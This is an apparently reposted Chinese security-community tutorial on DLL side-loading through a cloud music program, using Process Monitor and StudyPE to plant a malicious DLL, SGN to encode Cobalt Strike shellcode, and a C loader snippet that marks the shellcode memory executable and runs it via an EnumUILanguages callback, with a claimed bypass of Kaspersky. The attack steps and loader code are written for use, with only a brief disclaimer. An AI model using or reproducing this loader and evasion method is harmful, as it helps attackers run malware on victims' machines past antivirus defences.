本文介绍通过某云音乐程序实现白加黑上线的攻击手法,利用ProcessMonitor和StudyPE工具注入恶意DLL,结合SGN编码器绕过静态检测,实现卡巴斯基等安全软件下的成功上线。
文章作者:先知社区(1107498922678776)
文章来源:https://xz.aliyun.com/news/16171
通过某云音乐白加黑实现上线
用到的工具
-
1.Process Monitor -
2.StudyPE -
3.sgn
一、通过Process Monitor找到我们需要的DLL
简单介绍一下Process Monitor是微软提供的一款系统进程监视软件
一打开Process Monitor是有很多进程的我们需要通过名字筛选一下



二.通过StudyPE工具把自己的黑dll导入
StudyPE是一款PE32amp;PE64查看/剖析集成化工具,出示了丰富多彩的PE编辑功能
把我们找到的dll文件拖入StudyPE,查看导入表






这里介绍一下sgn SGN是一个用于进攻性安全目的的多态二进制编码器,其核心是生成静态不可检测的二进制payloads
cs生成的bin文件我们用sgn编码一下可以很大程度帮助我们过静态,这里的loader主要用到回调函数的方法执行
// 获取解密后的shellcode的地址char* shllcode = (char*)buf;// 声明一个DWORD变量用于存储旧的内存保护属性DWORD dwOldPro = 0;// 更改解密后的shellcode所在内存区域的保护属性,允许执行、读、写BOOL ifExec = VirtualProtect(shllcode, sizeof(buf), PAGE_EXECUTE_READWRITE, &dwOldPro);// 使用EnumUILanguages函数执行解密后的shellcodeEnumUILanguages((UILANGUAGE_ENUMPROC)shllcode, 0, 0);
往期内容
课程推荐
原文始发于微信公众号(隐雾安全):【转载】通过某云音乐实现白加黑上线
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-


评论